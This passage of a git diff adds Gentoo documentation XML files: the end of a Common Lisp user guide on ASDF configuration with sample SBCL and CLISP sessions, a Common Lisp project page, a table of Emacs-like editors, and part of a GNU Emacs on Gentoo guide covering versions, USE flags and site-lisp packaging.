+(asdf:oos 'asdf:load-op :asdf-binary-locations)
+	</pre>
+	<p>Portage currently creates a directory of symlinks /usr/share/common-lisp/systems/ which point to ASDF system definition files (*.asd) in /usr/share/common-lisp/source/ rather than adding a path to each individual ASDF system definition file.</p>
+	<p>Finally, ASDF Binary Locations needs to be configured.  We want all compiled output to be centralized under one user read-writable directory so we set ASDF:*CENTRALIZE-LISP-BINARIES* to true.  By default, compiled output will be stored in a directory structure under ~/.fasls/.  Some Common Lisp implementations, such as SBCL, use ASDF internally.  We want to avoid interfering with that behaviour, therefore we configure ASDF Binary Locations to do nothing for definitions belonging to SBCL.  This can be achieved by including the SBCL path in ASDF:*SOURCE-TO-TARGET-MAPPINGS*.</p>
+	<pre caption="Configuring ASDF Binary Locations">
+(setf asdf:*centralize-lisp-binaries* t)
+(setf asdf:*source-to-target-mappings* '((#p"/usr/lib/sbcl/" nil) (#p"/usr/lib64/sbcl/" nil)))
+	</pre>
+	<p>The following examples show how to use gentoo-init.lisp from various Common Lisp implementations.  Note how ASDF system definitions are being found under /usr/share/common-lisp/systems/ and compiled to, for example, /home/mkennedy/.fasls/sbcl-0.9.18-linux-x86/usr/share/common-lisp/source/...</p>
+	<pre caption="Using gentoo-init.lisp from SBCL"><![CDATA[
+mkennedy@localhost:~$ sbcl
+This is SBCL 0.9.18, an implementation of ANSI Common Lisp.
+More information about SBCL is available at <http://www.sbcl.org/>.
+
+SBCL is free software, provided as is, with absolutely no warranty.
+It is mostly in the public domain; some portions are provided under
+BSD-style licenses.  See the CREDITS and COPYING files in the
+distribution for more information.
+* (load "gentoo-init")
+
+; loading system definition from
+; /usr/share/common-lisp/systems/asdf-binary-locations.asd into
+; #<PACKAGE "ASDF0">
+; registering #<SYSTEM ASDF-BINARY-LOCATIONS {AEA3129}> as ASDF-BINARY-LOCATIONS
+T
+* (asdf:oos 'asdf:load-op :cl-fad)
+
+; loading system definition from /usr/share/common-lisp/systems/cl-fad.asd into
+; #<PACKAGE "ASDF0">
+; loading system definition from /usr/lib/sbcl/sb-grovel/sb-grovel.asd into
+; #<PACKAGE "ASDF2">
+; registering #<SYSTEM SB-GROVEL {A79FAC9}> as SB-GROVEL
+; registering #<SYSTEM #:CL-FAD {AE43CE1}> as CL-FAD
+; compiling file "/usr/share/common-lisp/source/cl-fad/packages.lisp" (written 17 OCT 2006 08:51:58 PM):
+; compiling (IN-PACKAGE #:CL-USER)
+; compiling (DEFPACKAGE :CL-FAD ...)
+; compiling (DEFPACKAGE :CL-FAD-TEST ...)
+
+; /home/mkennedy/.fasls/sbcl-0.9.18-linux-x86/usr/share/common-lisp/source/cl-fad/packages.fasl written
+; compilation finished in 0:00:00
+; compiling file "/usr/share/common-lisp/source/cl-fad/fad.lisp" (written 17 OCT 2006 08:51:58 PM):
+; compiling (IN-PACKAGE :CL-FAD)
+; compiling (DEFUN COMPONENT-PRESENT-P ...)
+; compiling (DEFUN DIRECTORY-PATHNAME-P ...)
+; compiling (DEFUN PATHNAME-AS-DIRECTORY ...)
+; compiling (DEFUN DIRECTORY-WILDCARD ...)
+; compiling (DEFUN LIST-DIRECTORY ...)
+; compiling (DEFUN PATHNAME-AS-FILE ...)
+; compiling (DEFUN FILE-EXISTS-P ...)
+; compiling (DEFUN DIRECTORY-EXISTS-P ...)
+; compiling (DEFUN WALK-DIRECTORY ...)
+; compiling (DECLAIM (INLINE COPY-STREAM))
+; compiling (DEFUN COPY-STREAM ...)
+; compiling (DEFUN COPY-FILE ...)
+; compiling (DEFUN DELETE-DIRECTORY-AND-FILES ...)
+; compiling (PUSHNEW :CL-FAD ...)
+; compiling (DEFVAR *HYPERDOC-BASE-URI* ...)
+; compiling (LET (#) ...)
+
+; /home/mkennedy/.fasls/sbcl-0.9.18-linux-x86/usr/share/common-lisp/source/cl-fad/fad.fasl written
+; compilation finished in 0:00:00
+NIL
+* 
+]]></pre>	
+	<pre caption="Using gentoo-init.lisp from SBCL"><![CDATA[
+mkennedy@localhost:~$ clisp
+[1]> (load "gentoo-init")
+;; Loading file /home/mkennedy/gentoo-init.lisp ...
+;;  Loading file /usr/share/common-lisp/source/asdf/asdf.lisp ...
+;;  Loaded file /usr/share/common-lisp/source/asdf/asdf.lisp
+; loading system definition from /usr/share/common-lisp/systems/asdf-binary-locations.asd into #<PACKAGE ASDF3783>
+;;  Loading file /usr/share/common-lisp/systems/asdf-binary-locations.asd ...
+; registering #<SYSTEM ASDF-BINARY-LOCATIONS #x203E6216> as ASDF-BINARY-LOCATIONS
+;;  Loaded file /usr/share/common-lisp/systems/asdf-binary-locations.asd
+;;  Loading file /usr/share/common-lisp/source/asdf-binary-locations/dev/main.lisp ...
+WARNING: The generic function #<STANDARD-GENERIC-FUNCTION OUTPUT-FILES> is
+         being modified, but has already been called.
+;;  Loaded file /usr/share/common-lisp/source/asdf-binary-locations/dev/main.lisp
+0 errors, 0 warnings
+;; Loaded file /home/mkennedy/gentoo-init.lisp
+T
+[2]> (asdf:oos 'asdf:load-op :cl-fad)
+; loading system definition from /usr/share/common-lisp/systems/cl-fad.asd into #<PACKAGE ASDF4628>
+;; Loading file /usr/share/common-lisp/systems/cl-fad.asd ...
+; registering #<SYSTEM #:CL-FAD #x204042E6> as CL-FAD
+;; Loaded file /usr/share/common-lisp/systems/cl-fad.asd
+;; Compiling file /usr/share/common-lisp/source/cl-fad/packages.lisp ...
+;; Wrote file /home/mkennedy/.fasls/clisp-2.41-unix-pc386/usr/share/common-lisp/source/cl-fad/packages.fas
+;; Loading file /home/mkennedy/.fasls/clisp-2.41-unix-pc386/usr/share/common-lisp/source/cl-fad/packages.fas ...
+;; Loaded file /home/mkennedy/.fasls/clisp-2.41-unix-pc386/usr/share/common-lisp/source/cl-fad/packages.fas
+;; Compiling file /usr/share/common-lisp/source/cl-fad/fad.lisp ...
+;; Wrote file /home/mkennedy/.fasls/clisp-2.41-unix-pc386/usr/share/common-lisp/source/cl-fad/fad.fas
+;; Loading file /home/mkennedy/.fasls/clisp-2.41-unix-pc386/usr/share/common-lisp/source/cl-fad/fad.fas ...
+;; Loaded file /home/mkennedy/.fasls/clisp-2.41-unix-pc386/usr/share/common-lisp/source/cl-fad/fad.fas
+0 errors, 0 warnings
+NIL
+[3]>
+]]></pre>
+      </body>
+    </section>
+
+    <section>
+      <title>The Gentoo-Maintained gentoo-init.lisp</title>
+      <body>
+	<p>Now that you understand how integration of Common Lisp implementations and libraries is achieved in Gentoo, you might want to install the ready-made dev-lisp/gentoo-init which will install gentoo-init.lisp to /etc/gentoo-init.lisp for you.  You could then load the file from your implementation's initialization file.</p>
+	<pre caption="Loading /etc/gentoo-init.lisp">
+(when (probe-file #p"/etc/gentoo-init.lisp")
+  (load #p"/etc/gentoo-init.lisp"))
+	</pre>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+    <title>Overview of Changes</title>
+    <section>
+      <title>CMUCL Changes</title>
+      <body>
+	<p>Prior to dev-lisp/cmucl-19d_pre1, the Common Lisp Controller enabled CMUCL installation would also include a number of ASDF system definitions to wrap various CMUCL subsystems.  With the inclusion of dev-lisp/cmucl-19d_pre1, subsystems are not wrapped by ASDF -- subsystems are loaded the CMUCL way via CMUCL's <uri link="http://common-lisp.net/project/cmucl/doc/cmu-user/extensions.html#toc93">Extension to REQUIRE</uri>.</p>
+	<table>
+	  <tr>
+	    <th>Before dev-lisp/cmucl-19d_pre1</th>
+	    <th>After</th>
+	  </tr>
+	  <tr>
+	    <ti>(asdf:oos 'asdf:load-op :cmucl-clx)</ti>
+	    <ti>(require :clx)</ti>
+	  </tr>
+	  <tr>
+	    <ti>(asdf:oos 'asdf:load-op :cmucl-graystream)</ti>
+	    <ti>(require :gray-streams)</ti>
+	  </tr>
+	</table>
+	<p>If you previously used those ASDF components in your own ASDF system definition files, you'll need to remove them and instead conditionally load the appropriate CMUCL subsystem.  For example:</p>
+
+<pre caption="An ASDF .asd file prior to dev-lisp/cmucl-19d_pre1">
+  :depends-on (#+cmu #:cmucl-clx #:foo #:bar)
+...
+</pre>
+
+<p>load the subsystem conditionally:</p>
+
+<pre caption="An ASDF .asd file loading the CMUCL subsystem">
+#+cmu (require :clx)
+...
+  :depends-on (#:foo #:bar)
+</pre>
+      </body>
+    </section>
+  </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/lisp/common-lisp/index.xml b/xml/htdocs/proj/en/lisp/common-lisp/index.xml
new file mode 100644
index 00000000..a85e5015
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/common-lisp/index.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Common Lisp</name>
+  <longname>Gentoo Common Lisp Project</longname>
+  <date>2010-04-06</date>
+
+  <description>The Gentoo Common Lisp Project handles Common Lisp related packages in the Gentoo package tree.</description>
+  <longdescription><p>
+  The Gentoo Common Lisp Project handles Common Lisp related packages in the Gentoo package tree. This includes Common Lisp implementations, applications and libraries.  The project will also maintain Common Lisp unrelated ebuilds assigned to the common-lisp herd.
+  </p></longdescription>
+
+  <dev role="developer" description="General maintainer">pchrist</dev>
+  <dev role="developer" description="General maintainer">chiiph</dev>
+  <herd name="common-lisp" />
+
+  <plannedproject name="Gentoo Common Lisp Overview">An overview of supported Common Lisp implementations and libraries in Portage.
+  </plannedproject>
+  <plannedproject name="Developer Guide">Documentation on the internals of the Gentoo Common Lisp supported implementations and libraries.</plannedproject>
+  <plannedproject name="FAQ">Answers to miscellaneous questions not covered in the Overview or User Guide.
+  </plannedproject>
+  <resource link="guide.xml">Gentoo Common Lisp User Guide</resource>
+<!--
+  <resource link="http://common-lisp.net/cgi-bin/darcsweb/darcsweb.cgi?r=portage-overlay-portage-overlay;a=summary">Portage Overlay</resource>
+  <resource link="http://common-lisp.net/cgi-bin/mailman/listinfo/portage-overlay-devel">Portage Overlay Mailing List</resource>
+-->
+  <resource link="http://www.cl-user.net/asp/root-dir">The Common Lisp Directory</resource>
+  <resource link="http://www.cliki.net/index">The Common Lisp Wiki</resource>
+
+</project>
+
+<!-- Local Variables: -->
+<!-- mode: nxml -->
+<!-- indent-tabs-mode: nil -->
+<!-- fill-column: 80 -->
+<!-- End: -->
+
diff --git a/xml/htdocs/proj/en/lisp/emacs/editors.xml b/xml/htdocs/proj/en/lisp/emacs/editors.xml
new file mode 100644
index 00000000..0b9f0aab
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/emacs/editors.xml
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/lisp/emacs/editors.xml,v 1.21 2009/09/09 12:08:04 ulm Exp $ -->
+
+<guide link="/proj/en/lisp/emacs/editors.xml" lang="en">
+<title>Emacs editors in Gentoo</title>
+
+<author title="Author">
+  <mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+
+<abstract>
+This document lists and describes Emacs-like editors available in Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.9</version>
+<date>2009-09-09</date>
+
+<chapter>
+<title>Emacs-like editors available in Gentoo</title>
+<section>
+<body>
+<p>
+In addition to GNU Emacs and XEmacs, there are other Emacs-like
+editors available in Gentoo, including several Microemacs variants.
+Most of them are also maintained by the Emacs team.
+</p>
+<p>
+See also Craig Finseth's
+<uri link="http://www.finseth.com/emacs.html">list of Emacs
+implementations</uri> and Jamie Zawinski's
+<uri link="http://www.jwz.org/doc/emacs-timeline.html">Emacs timeline</uri>.
+</p>
+
+<table>
+<tr>
+  <th>Editor name</th>
+  <th>Package name</th>
+  <th>Extension language</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>Climacs / Drei</ti>
+  <ti><path><uri link="http://repo.or.cz/w/gentoo-lisp-overlay.git?a=tree;f=dev-lisp/climacs;hb=HEAD">dev-lisp/climacs</uri></path></ti>
+  <ti>Common Lisp</ti>
+  <ti>An Emacs-like editor in Common Lisp, in
+  <uri link="http://repo.or.cz/w/gentoo-lisp-overlay.git">Gentoo Lisp overlay</uri></ti>
+</tr>
+<tr>
+  <ti>e3</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/e3">app-editors/e3</uri></path></ti>
+  <ti>none</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>Edwin</ti>
+  <ti><path><uri link="http://repo.or.cz/w/gentoo-lisp-overlay.git?a=tree;f=dev-scheme/mit-scheme-c;hb=HEAD">dev-scheme/mit-scheme-c</uri></path></ti>
+  <ti>Scheme</ti>
+  <ti><uri link="http://repo.or.cz/w/gentoo-lisp-overlay.git">In Gentoo Lisp overlay.</uri>
+  Start with: <c>scheme -edwin -edit</c></ti>
+</tr>
+<tr>
+  <ti>EmACT</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/emact">app-editors/emact</uri></path></ti>
+  <ti>Minimal Lisp</ti>
+  <ti>Fork of Conroy's MicroEmacs</ti>
+</tr>
+<!--
+<tr>
+  <ti>Ermacs</ti>
+  <ti><path><uri link="http://overlays.gentoo.org/proj/emacs/browser/emacs-overlay/app-editors/ermacs">app-editors/ermacs</uri></path></ti>
+  <ti>Erlang</ti>
+  <ti>Emacs clone in Erlang; in <uri link="http://overlays.gentoo.org/proj/emacs/">Emacs overlay</uri></ti>
+</tr>
+-->
+<tr>
+  <ti>Ersatz Emacs</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/ersatz-emacs">app-editors/ersatz-emacs</uri></path></ti>
+  <ti>none</ti>
+  <ti>A very minimal imitation of GNU Emacs</ti>
+</tr>
+<tr>
+  <ti>fe</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/fe">app-editors/fe</uri></path></ti>
+  <ti>none</ti>
+  <ti>Small and easy to use folding editor&mdash;successor to Origami</ti>
+</tr>
+<tr>
+  <ti>GNU Emacs</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/emacs">app-editors/emacs</uri></path></ti>
+  <ti>Emacs Lisp</ti>
+  <ti>See <uri link="emacs.xml">GNU Emacs page</uri></ti>
+</tr>
+<tr>
+  <ti>Hemlock</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/dev-lisp/cmucl">dev-lisp/cmucl</uri></path></ti>
+  <ti>CMU Common Lisp</ti>
+  <ti>Start with: <c>lisp -eval '(require :hemlock) (ed)'</c></ti>
+</tr>
+<tr>
+  <ti>Jasspa's MicroEmacs</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/jasspa-microemacs">app-editors/jasspa-microemacs</uri></path></ti>
+  <ti>custom</ti>
+  <ti>Also as NanoEmacs with <c>USE=nanoemacs</c></ti>
+</tr>
+<tr>
+  <ti>JED</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/jed">app-editors/jed</uri></path></ti>
+  <ti>S-Lang</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>JEmacs</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/dev-scheme/kawa">dev-scheme/kawa</uri></path></ti>
+  <ti>Scheme, Emacs Lisp</ti>
+  <ti><c>USE=jemacs</c></ti>
+</tr>
+<tr>
+  <ti>JOE</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/joe">app-editors/joe</uri></path></ti>
+  <ti>macros</ti>
+  <ti>Joe's Own Editor</ti>
+</tr>
+<tr>
+  <ti>Jove</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/jove">app-editors/jove</uri></path></ti>
+  <ti>none</ti>
+  <ti>Jonathan's Own Version of Emacs - a light emacs-like editor
+  without LISP bindings</ti>
+</tr>
+<tr>
+  <ti>µEmacs/PK</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/uemacs-pk">app-editors/uemacs-pk</uri></path></ti>
+  <ti>custom</ti>
+  <ti>MicroEMACS 3.9e with enhancements by Petri Kutvonen</ti>
+</tr>
+<tr>
+  <ti>mg</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/mg">app-editors/mg</uri></path></ti>
+  <ti>none</ti>
+  <ti>Micro GNU/emacs</ti>
+</tr>
+<tr>
+  <ti>Ng</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/ng">app-editors/ng</uri></path></ti>
+  <ti>none</ti>
+  <ti>Nihongo micro Gnu emacs, maintained by CJK team</ti>
+</tr>
+<tr>
+  <ti>QEmacs</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/qemacs">app-editors/qemacs</uri></path></ti>
+  <ti>none</ti>
+  <ti>Quick Emacs</ti>
+</tr>
+<tr>
+  <ti>SXEmacs</ti>
+  <ti><path><uri link="http://overlays.gentoo.org/proj/emacs/browser/xemacs-overlay/app-editors/sxemacs">app-editors/sxemacs</uri></path></ti>
+  <ti>Emacs Lisp</ti>
+  <ti>In <uri link="http://overlays.gentoo.org/proj/emacs/">XEmacs overlay</uri></ti>
+</tr>
+<tr>
+  <ti>XEmacs</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/xemacs">app-editors/xemacs</uri></path></ti>
+  <ti>Emacs Lisp</ti>
+  <ti>See <uri link="xemacs.xml">XEmacs page</uri></ti>
+</tr>
+<tr>
+  <ti>Zile</ti>
+  <ti><path><uri link="http://packages.gentoo.org/package/app-editors/zile">app-editors/zile</uri></path></ti>
+  <ti>none</ti>
+  <ti>Zile is lossy Emacs</ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+<table>
+<tr>
+  <th>Resource</th>
+  <th>Comment</th>
+</tr>
+<tr>
+  <ti>
+    <e>Craig A. Finseth</e>;
+    <uri link="http://www.finseth.com/craft/">The Craft of Text Editing:
+    Emacs for the Modern World</uri>; ISBN 0-387-97616-7; Springer-Verlag
+  </ti>
+  <ti>
+    Background information about user interfaces and the ergonomics of
+    text editing.
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/lisp/emacs/emacs.xml b/xml/htdocs/proj/en/lisp/emacs/emacs.xml
new file mode 100644
index 00000000..c0cf9d41
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/emacs/emacs.xml
@@ -0,0 +1,653 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/lisp/emacs/emacs.xml,v 1.126 2010/05/14 15:23:36 ulm Exp $ -->
+
+<guide link="/proj/en/lisp/emacs/emacs.xml" lang="en">
+<title>GNU Emacs on Gentoo</title>
+
+<author title="Author">
+  <mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+<author title="Author">
+  <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+</author>
+
+<abstract>
+This document describes how GNU Emacs and associated packages are made
+available in Gentoo.  These guidelines also describe the philosophy
+how the packages are maintained.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.36</version>
+<date>2010-05-14</date>
+
+<chapter>
+<title>Introduction</title>
+<section id="emacs">
+<title>What is Emacs?</title>
+<body>
+
+<p> 
+<uri link="http://www.gnu.org/software/emacs/">Emacs</uri> is the
+extensible, customizable, self-documenting real-time display editor.
+Large parts are written in the Lisp dialect Emacs Lisp, with which
+extensions can be easily developed.  Apart from its editing features,
+GNU Emacs provides a whole environment to manage your system, mail,
+IRC chats and texts (be it correspondence or programming).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="available_versions">
+<title>Maintaining the editor itself</title>
+<section>
+<title>Available versions</title>
+<body>
+<p>
+Currently the following Emacs versions are available:
+</p>
+<table>
+<tr>
+  <th>Package</th>
+  <th>Version</th>
+  <th>Type</th>
+  <th>SLOT</th>
+  <th>eselect name</th>
+  <th>Remarks</th>
+</tr>
+<tr>
+<ti>emacs</ti>
+  <ti>18.59</ti>
+  <ti>released</ti>
+  <ti>18</ti>
+  <ti>emacs-18</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>emacs</ti>
+  <ti>21.4</ti>
+  <ti>released</ti>
+  <ti>21</ti>
+  <ti>emacs-21</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>emacs</ti>
+  <ti>22.3</ti>
+  <ti>released</ti>
+  <ti>22</ti>
+  <ti>emacs-22</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>emacs</ti>
+  <ti>23.2</ti>
+  <ti>released</ti>
+  <ti>23</ti>
+  <ti>emacs-23</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>emacs-vcs</ti>
+  <ti>23.2.9999</ti>
+  <ti>Bazaar (emacs-23 branch)</ti>
+  <ti>23</ti>
+  <ti>emacs-23-vcs</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>emacs-vcs</ti>
+  <ti>24.0.9999</ti>
+  <ti>Bazaar (trunk)</ti>
+  <ti>24</ti>
+  <ti>emacs-24</ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section id="location">
+<title>Locations of files</title>
+<body>
+<p>
+The following files are installed in different locations or under a
+different name (as compared to vanilla GNU Emacs):
+</p>
+
+<ul>
+  <li>Emacs executable: <path>/usr/bin/emacs-<e>suffix</e></path>,
+      where <e>suffix</e> is normally equal to the Emacs major version</li>
+  <li>Auxiliary programs (e.g., <path>ctags</path>):
+      <path>/usr/bin/ctags-emacs-<e>suffix</e></path></li>
+  <li>Man pages are named accordingly</li>
+  <li>Info files of Emacs are installed in directory
+      <path>/usr/share/info/emacs-<e>suffix</e>/</path></li>
+</ul>
+
+<p>
+  The programs are symlinked to their original names by the Emacs
+  <uri link="#eselect">eselect module</uri>, apart from <path>ctags</path>
+  and <path>etags</path> which have their own modules.
+</p>
+</body>
+</section>
+
+<section>
+<title>USE flags</title>
+<body>
+<p>
+Emacs has many USE flags, most are easy to understand what they are
+good for, others have some hidden "features" one should know about.
+</p>
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Description</th>
+  <th>Notes</th>
+</tr>
+<tr>
+  <ti>alsa</ti>
+  <ti>Determine if ALSA should be used</ti>
+  <ti>Emacs autodetects ALSA.  That test is removed by the ebuild if the flag
+  is not set.  This is for cases where ALSA is installed but the user
+  does not wish support for it in Emacs.</ti>
+</tr>
+<tr>
+  <ti>dbus</ti>
+  <ti>Make Emacs D-Bus aware (Emacs 23 only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>gconf</ti>
+  <ti>Use gconf to read the system font name (emacs-vcs only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>gif</ti>
+  <ti>Support for GIF images.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>gpm</ti>
+  <ti>Support for console-based mouse driver (Emacs 23 only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>gtk</ti>
+  <ti>Use the GIMP Toolkit (GTK+) as windowing toolkit (menu bar etc.)</ti>
+  <ti>When this toolkit is activated along with alternative ones (see
+  other USE flags), GTK+ is chosen. This is in sync with upstream's
+  wishes.</ti>
+</tr>
+<tr>
+  <ti>gzip-el</ti>
+  <ti>Zip up all el files.</ti>
+  <ti>The zip binary is autodetected.  So even when this USE flag is
+  disabled but the binary is found, all el files will be compressed.
+  The ebuild takes of that care by confusing the configure script.</ti>
+</tr>
+<tr>
+  <ti>hesiod</ti>
+  <ti>Use the Hesiod name service system.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>jpeg</ti>
+  <ti>Support for JPEG images.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>kerberos</ti>
+  <ti>Support for the Kerberos network authentication protocol.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>leim</ti>
+  <ti>Extended methods for input encodings (Emacs 21 only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>m17n-lib</ti>
+  <ti>Use the m17n-lib multilingual library for complex text layout,
+  e.g. for Indic scripts (Emacs 23 only).</ti>
+  <ti>Only available if "xft" is enabled too.</ti>
+</tr>
+<tr>
+  <ti>motif</ti>
+  <ti>A windowing toolkit.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>png</ti>
+  <ti>Support for PNG images.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>sendmail</ti>
+  <ti>Build with support for mail transfer agent (Emacs 21 only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>sound</ti>
+  <ti>Control the availability of sound support.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>source</ti>
+  <ti>Install the C source files and make them available in the
+  internal documentation system of GNU Emacs.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>svg</ti>
+  <ti>Support for SVG images (Emacs 23 only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>tiff</ti>
+  <ti>Support for TIFF images.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>toolkit-scroll-bars</ti>
+  <ti>Instead of the internal scroll bars, the ones from the
+  windowing toolkit are used.</ti>
+  <ti>You will lose some functionality (split windows by clicking on
+  the scroll bar for example).</ti>
+</tr>
+<tr>
+  <ti>X</ti>
+  <ti>Let Emacs use an X session if available.  Text mode can always
+  be forced.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>Xaw3d</ti>
+  <ti>A windowing toolkit.</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>xft</ti>
+  <ti>Choose an alternative font renderer (Emacs 23 only).</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>xpm</ti>
+  <ti>Support for XPM images.</ti>
+  <ti>If disabled, all logos, icons etc. in Emacs are displayed in
+  grayscale.  This flag is forced through EAPI 1 features.</ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Packages</title>
+<section id="need_emacs">
+<title>Depending on a specific Emacs version</title>
+<body>
+<note>
+The documentation of the functions provided is to be found in the
+<uri link="#eclasses">eclasses</uri> itself.
+</note>
+<p>
+If a package needs at least a specific version of GNU Emacs, you can tell
+the <path>elisp.eclass</path> by
+giving <c>NEED_EMACS=<e>version_number</e></c> before
+the <c>inherit</c> line.  Undefined the default dependency is on <path>virtual/emacs-21</path>.
+</p>
+</body>
+</section>
+
+<section>
+<title>The site-lisp directory and package loading</title>
+<body>
+<p>
+The regular location for Emacs lisp packages in Gentoo
+is <path>/usr/share/emacs/site-lisp/<e>package</e>/</path>.  All Elisp
+files (<path>.el</path>) and compiled Elisp files (<path>.elc</path>)
+should go there.
+</p>
+<p>
+Emacs packages normally need to be activated or loaded when a certain
+condition is met (like c-mode for C source files).
+</p>
+<p>
+In Gentoo every package has a site initialisation file that holds
+the needed commands.  The file is located in <c>${FILESDIR}</c> and
+starts with a two-digit number, followed by the package name
+and <path>-gentoo</path>.  The <c>elisp-install</c> function puts
+this file in the directory
+<path>/usr/share/emacs/site-lisp/site-gentoo.d/</path>.
+</p>
+<p>
+When calling <c>elisp-site-regen</c> in an ebuild, the global site
+file <path>/usr/share/emacs/site-lisp/site-gentoo.el</path> is
+regenerated, which holds the contents of all individual site init
+files in one.  They are read in alphabetical order, so the numbers
+determine which comes first, the lowest is to be found at the
+beginning.  That means: Packages depending on each other need to have rising
+order for site initialisation, too.
+</p>
+
+<p>
+Some time ago all those initialisations were added
+to <path>/usr/share/emacs/site-lisp/site-start.el</path>, which is
+always loaded at Emacs start-up!  Today you can individually control
+which user will activate all installed Elisp packages by adding a line like
+</p>
+<p>
+<c>(require 'site-gentoo)</c>
+</p>
+<p>
+to a file read by Emacs on start-up (usually <path>~/.emacs</path>).
+</p>
+<p>
+  Historically site-init files were read from the
+  <path>/usr/share/emacs/site-lisp/</path> directory, which is still
+  supported by the eclasses, but a remerge/update will put them in the
+  <path>site-gentoo.d/</path> subdirectory.
+  Package <path>app-admin/emacs-updater</path> installs a script that
+  checks for needed rebuilds, called <path>emacs-updater</path>.
+</p>
+<impo>
+A <c>load</c> command for site initialisations is only acceptable for
+a few packages.  If used, it always loads the whole package and makes
+Emacs start-up really slow, so the autoload mechanism is the preferred
+way.  The <path>elisp-common</path> eclass has functions to generate
+an autoload file if none is shipped with the package but the
+functionality is available in the source nonetheless.  For more
+information about the mechanism see the
+<uri link="http://www.gnu.org/software/emacs/manual/html_node/elisp/Autoload.html#Autoload">
+Elisp manual</uri>.  Also manual keybindings directly in the site-file
+are discouraged to not disturb the user as he could have bound exactly
+that keys himself.  Keep pollution low but provide sane default settings
+out of the box so even a novice can start working fast.
+</impo>
+</body>
+</section>
+
+<section id="eclasses">
+<title>Eclasses</title>
+<body>
+<p>
+Packages that have support for or rely on GNU Emacs can use two
+eclasses to do some recurring tasks in a simple way.  The
+documentation of the functions are provided in the eclasses, so they
+are not repeated here!  Format of documentation is to allow man-page
+generation from source with the
+package <path>app-portage/eclass-manpages</path>.
+</p>
+<table>
+<tr>
+  <th>Name</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti><path>elisp-common.eclass</path></ti>
+  <ti>Provides functions to handle Elisp files.  Compilation,
+  installation and generation of autoloads is covered here in a
+  general way.  Packages with optional Emacs support must rely on this eclass.</ti>
+</tr>
+<tr>
+  <ti><path>elisp.eclass</path></ti>
+  <ti>The functions from <path>elisp-common.eclass</path> are used to
